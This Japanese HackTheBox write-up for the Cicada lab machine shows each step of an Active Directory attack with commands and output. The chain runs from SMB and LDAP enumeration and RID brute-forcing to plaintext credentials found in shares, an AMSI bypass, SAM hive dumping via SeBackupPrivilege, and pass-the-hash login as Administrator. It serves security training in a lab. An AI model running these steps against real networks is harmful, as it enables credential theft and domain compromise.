はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Cicadaです。
Cicadaでは、SMBやActive Directoryの列挙スキルについて学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 23:23 JST
Error #487: Your port specifications are illegal. Example of proper form: "-100,200-1024,T:3000-4000,U:60000-"
QUITTING!
Ignore ICMP and try again
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 23:23 JST
Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.27s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Nmap done: 1 IP address (1 host up) scanned in 14.04 seconds
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、389番ポートはActive Directory、445番ポートはSMBを使用していることが分かります。
SMB
以下のコマンドを実行して、共有リソースの一覧を表示します。
$ smbclient -L //10.10.11.35 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.35 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availab
上記結果より、HRフォルダにアクセスします。
$ smbclient //10.10.11.35/HR -N
Try "help" to get a list of possible commands.
smb: \>
Notice from HR.txt
というファイル名のファイルが確認できました。
smb: \> ls
. D 0 Thu Mar 14 21:29:09 2024
.. D 0 Thu Mar 14 21:21:29 2024
Notice from HR.txt A 1266 Thu Aug 29 02:31:48 2024
4168447 blocks of size 4096. 326157 blocks available
Notice from HR.txt
ファイルをダウンロードします。
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
Notice from HR.txt
ファイルをダウンロード後、ファイルの中身を参照するとパスワードが確認できました。
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: [REDACTED]
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Active Directory
Notice from HR.txt
ファイルから取得したパスワードは、どのユーザーが使用しているパスワードか不明なため、引き続きActive Directoryを列挙します。
MachineのOSはWindowsになるため、389番ポートで使用しているサービスはActive Directoryと予想がつきますが、念の為サービスを確認します。
$ sudo nmap -p 389 -sV 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:00 JST
Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds
Nmapで列挙するにあたって、使用可能なスクリプトを確認します。
$ ls /usr/share/nmap/scripts | grep ldap
ldap-brute.nse
ldap-novell-getpass.nse
ldap-rootdse.nse
ldap-search.nse
ldap-rootdse.nse
のスクリプトは、Root DSEと呼ばれる特別なエントリー情報を抽出するスクリプトです。Root DSEには、LDAPサーバのバージョン、スキーマ、サポートする機能(例:認証方法、ネームスペース)などの詳細情報が含まれています。
$ sudo nmap -p 389 --script ldap-rootdse.nse 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:02 JST
Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.46s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| domainFunctionality: 7
| forestFunctionality: 7
| domainControllerFunctionality: 7
| rootDomainNamingContext: DC=cicada,DC=htb
| ldapServiceName: cicada.htb:cicada-dc$@CICADA.HTB
| isGlobalCatalogReady: TRUE
| supportedSASLMechanisms: GSSAPI
| supportedSASLMechanisms: GSS-SPNEGO
| supportedSASLMechanisms: EXTERNAL
| supportedSASLMechanisms: DIGEST-MD5
| supportedLDAPVersion: 3
| supportedLDAPVersion: 2
| supportedLDAPPolicies: MaxPoolThreads
| supportedLDAPPolicies: MaxPercentDirSyncRequests
| supportedLDAPPolicies: MaxDatagramRecv
| supportedLDAPPolicies: MaxReceiveBuffer
| supportedLDAPPolicies: InitRecvTimeout
| supportedLDAPPolicies: MaxConnections
| supportedLDAPPolicies: MaxConnIdleTime
| supportedLDAPPolicies: MaxPageSize
| supportedLDAPPolicies: MaxBatchReturnMessages
| supportedLDAPPolicies: MaxQueryDuration
| supportedLDAPPolicies: MaxDirSyncDuration
| supportedLDAPPolicies: MaxTempTableSize
| supportedLDAPPolicies: MaxResultSetSize
| supportedLDAPPolicies: MinResultSets
| supportedLDAPPolicies: MaxResultSetsPerConn
| supportedLDAPPolicies: MaxNotificationPerConn
| supportedLDAPPolicies: MaxValRange
| supportedLDAPPolicies: MaxValRangeTransitive
| supportedLDAPPolicies: ThreadMemoryLimit
| supportedLDAPPolicies: SystemMemoryLimitPercent
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.840.113556.1.4.801
| supportedControl: 1.2.840.113556.1.4.473
| supportedControl: 1.2.840.113556.1.4.528
| supportedControl: 1.2.840.113556.1.4.417
| supportedControl: 1.2.840.113556.1.4.619
| supportedControl: 1.2.840.113556.1.4.841
| supportedControl: 1.2.840.113556.1.4.529
| supportedControl: 1.2.840.113556.1.4.805
| supportedControl: 1.2.840.113556.1.4.521
| supportedControl: 1.2.840.113556.1.4.970
| supportedControl: 1.2.840.113556.1.4.1338
| supportedControl: 1.2.840.113556.1.4.474
| supportedControl: 1.2.840.113556.1.4.1339
| supportedControl: 1.2.840.113556.1.4.1340
| supportedControl: 1.2.840.113556.1.4.1413
| supportedControl: 2.16.840.1.113730.3.4.9
| supportedControl: 2.16.840.1.113730.3.4.10
| supportedControl: 1.2.840.113556.1.4.1504
| supportedControl: 1.2.840.113556.1.4.1852
| supportedControl: 1.2.840.113556.1.4.802
| supportedControl: 1.2.840.113556.1.4.1907
| supportedControl: 1.2.840.113556.1.4.1948
| supportedControl: 1.2.840.113556.1.4.1974
| supportedControl: 1.2.840.113556.1.4.1341
| supportedControl: 1.2.840.113556.1.4.2026
| supportedControl: 1.2.840.113556.1.4.2064
| supportedControl: 1.2.840.113556.1.4.2065
| supportedControl: 1.2.840.113556.1.4.2066
| supportedControl: 1.2.840.113556.1.4.2090
| supportedControl: 1.2.840.113556.1.4.2205
| supportedControl: 1.2.840.113556.1.4.2204
| supportedControl: 1.2.840.113556.1.4.2206
| supportedControl: 1.2.840.113556.1.4.2211
| supportedControl: 1.2.840.113556.1.4.2239
| supportedControl: 1.2.840.113556.1.4.2255
| supportedControl: 1.2.840.113556.1.4.2256
| supportedControl: 1.2.840.113556.1.4.2309
| supportedControl: 1.2.840.113556.1.4.2330
| supportedControl: 1.2.840.113556.1.4.2354
| supportedCapabilities: 1.2.840.113556.1.4.800
| supportedCapabilities: 1.2.840.113556.1.4.1670
| supportedCapabilities: 1.2.840.113556.1.4.1791
| supportedCapabilities: 1.2.840.113556.1.4.1935
| supportedCapabilities: 1.2.840.113556.1.4.2080
| supportedCapabilities: 1.2.840.113556.1.4.2237
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cicada,DC=htb
| serverName: CN=CICADA-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cicada,DC=htb
| schemaNamingContext: CN=Schema,CN=Configuration,DC=cicada,DC=htb
| namingContexts: DC=cicada,DC=htb
| namingContexts: CN=Configuration,DC=cicada,DC=htb
| namingContexts: CN=Schema,CN=Configuration,DC=cicada,DC=htb
| namingContexts: DC=DomainDnsZones,DC=cicada,DC=htb
| namingContexts: DC=ForestDnsZones,DC=cicada,DC=htb
| isSynchronized: TRUE
| highestCommittedUSN: 196810
| dsServiceName: CN=NTDS Settings,CN=CICADA-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cicada,DC=htb
| dnsHostName: CICADA-DC.cicada.htb
| defaultNamingContext: DC=cicada,DC=htb
| currentTime: 20241012220248.0Z
|_ configurationNamingContext: CN=Configuration,DC=cicada,DC=htb
Service Info: Host: CICADA-DC; OS: Windows
Nmap done: 1 IP address (1 host up) scanned in 2.81 seconds
crackmapexec
コマンドを実行することで、RIDのブルートフォースによるユーザーの列挙を行います。
$ crackmapexec smb 10.10.11.35 -u anonymous -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\anonymous:
SMB 10.10.11.35 445 CICADA-DC [+] Brute forcing RIDs
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
nxcコマンドでもRIDのブルートフォースによるユーザーの列挙が可能です。
$ nxc smb 10.10.11.35 -u anonymous -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\anonymous:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
上記結果よりmichael.wrightsonユーザーとNotice from HR.txt
ファイルから取得したパスワードの組み合わせで接続はできるものの、DEVフォルダに対するアクセス権限はありません。
$ smbclient //10.10.11.35/DEV -U 'michael.wrightson%[REDACTED]'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
ldapdomaindump
コマンドを実行して、ドメイン情報をダンプします。
$ ldapdomaindump ldap://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p '[REDACTED]'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
以下の様なファイルが生成されます。
-rw-rw-r-- 1 kali kali 371 10月 13 00:15 domain_computers.grep
-rw-rw-r-- 1 kali kali 1266 10月 13 00:15 domain_computers.html
-rw-rw-r-- 1 kali kali 9564 10月 13 00:15 domain_computers.json
-rw-rw-r-- 1 kali kali 1274 10月 13 00:15 domain_computers_by_os.html
-rw-rw-r-- 1 kali kali 10424 10月 13 00:15 domain_groups.grep
-rw-rw-r-- 1 kali kali 17626 10月 13 00:15 domain_groups.html
-rw-rw-r-- 1 kali kali 85912 10月 13 00:15 domain_groups.json
-rw-rw-r-- 1 kali kali 256 10月 13 00:15 domain_policy.grep
-rw-rw-r-- 1 kali kali 1152 10月 13 00:15 domain_policy.html
-rw-rw-r-- 1 kali kali 5986 10月 13 00:15 domain_policy.json
-rw-rw-r-- 1 kali kali 71 10月 13 00:15 domain_trusts.grep
-rw-rw-r-- 1 kali kali 828 10月 13 00:15 domain_trusts.html
-rw-rw-r-- 1 kali kali 2 10月 13 00:15 domain_trusts.json
-rw-rw-r-- 1 kali kali 2171 10月 13 00:15 domain_users.grep
-rw-rw-r-- 1 kali kali 5992 10月 13 00:15 domain_users.html
-rw-rw-r-- 1 kali kali 20866 10月 13 00:15 domain_users.json
-rw-rw-r-- 1 kali kali 14442 10月 13 00:15 domain_users_by_group.html
生成されたdomain_users.html
ファイルより、david.oreliousユーザーの認証情報が取得できました。
再度DEVフォルダにアクセスを試みます。
$ smbclient //10.10.11.35/DEV -U david.orelious@cicada.htb
Password for [david.orelious@cicada.htb]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 21:31:39 2024
.. D 0 Thu Mar 14 21:21:29 2024
Backup_script.ps1 A 601 Thu Aug 29 02:28:22 2024
4168447 blocks of size 4096. 169908 blocks available
Backup_script.ps1
ファイルを取得します。
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
Backup_script.ps1
ファイルの中身を確認すると、emily.oscarsユーザーの認証情報が確認できました。
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "[REDACTED]" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
emily.oscarsユーザーの認証情報を用いてCドライブにアクセスできました。
smbclient //10.10.11.35/C$ -U emily.oscars@cicada.htb
Password for [emily.oscars@cicada.htb]:
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin DHS 0 Thu Mar 14 22:24:03 2024
$WinREAgent DH 0 Tue Sep 24 01:16:49 2024
Documents and Settings DHSrn 0 Fri Mar 15 04:40:47 2024
DumpStack.log.tmp AHS 12288 Sun Oct 13 04:47:01 2024
pagefile.sys AHS 983371776 Sun Oct 13 07:18:36 2024
PerfLogs D 0 Fri Aug 23 03:45:54 2024
Program Files DR 0 Fri Aug 30 04:32:50 2024
Program Files (x86) D 0 Sat May 8 18:40:21 2021
ProgramData DHn 0 Sat Aug 31 02:32:07 2024
Recovery DHSn 0 Fri Mar 15 04:41:18 2024
Shares D 0 Thu Mar 14 21:21:29 2024
System Volume Information DHS 0 Sun Oct 13 06:53:07 2024
temp D 0 Sun Oct 13 05:36:46 2024
Users DR 0 Tue Aug 27 05:11:25 2024
Windows D 0 Sun Oct 13 05:46:05 2024
4168447 blocks of size 4096. 169620 blocks available
システムハッキング
これまでに取得した認証情報を用いて、evil-winrmで足場を作ります。
アクセスの獲得
evil-winrm
コマンドを実行して、emily.oscarsユーザーで接続します。
$ evil-winrm -i 10.10.11.35 -u emily.oscars
Enter Password:
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
ユーザーフラグ
Desktop
フォルダを探索すると、ユーザーフラグが確認できます。
Directory: C:\Users\emily.oscars.CICADA\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/13/2024 8:46 AM 49152 sam.hive
-a---- 10/13/2024 8:45 AM 18550784 system.hive
-a---- 10/12/2024 7:28 PM 0 tool.bat
-ar--- 10/12/2024 6:11 PM 34 user.txt
-a---- 10/12/2024 11:01 PM 9842176 winpeas.exe
-a---- 10/12/2024 7:34 PM 2425344 winPEASany.exe
ルートフラグ
権限昇格を狙うにあたり引き続き列挙を行います。
Bypass-4MSI
を実行して、バイパスを行います。
> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!
以下のコマンドを実行して、現在のユーザーのセキュリティ特権を表示します。
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
上記結果より、emily.oscarsユーザーはSeBackupPrivilege権限が付与されていることが分かります。従ってSeBackupPrivilegeの権限を使用することで、Machine内のファイルをローカルマシンにコピーできます。
以下のコマンドを実行して、レジストリ情報を保存したファイルをダウンロードします。
> mkdir C:\temp
> reg save hklm\sam C:\temp\sam.hive
> reg save hklm\system C:\temp\system.hive
> download C:\temp\sam.hive
> download C:\temp\system.hive
impacket-secretsdump
コマンドを実行して、特権ユーザーの認証情報を抽出します。
$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
上記結果より、Administratorユーザーのパスワードが取得できました。再度evil-winrm
コマンドを実行して、Administratorユーザーで接続を試みます。
$ evil-winrm -i 10.10.11.35 -u Administrator -H <hash>
Administratorユーザーでログインできました。
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Desktop
フォルダを確認すると、ルートフラグが確認できます。
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/12/2024 6:11 PM 34 root.txt
おわりに
Cicadaはセミを意味しますが、列挙の過程を物語っていたのでしょうか。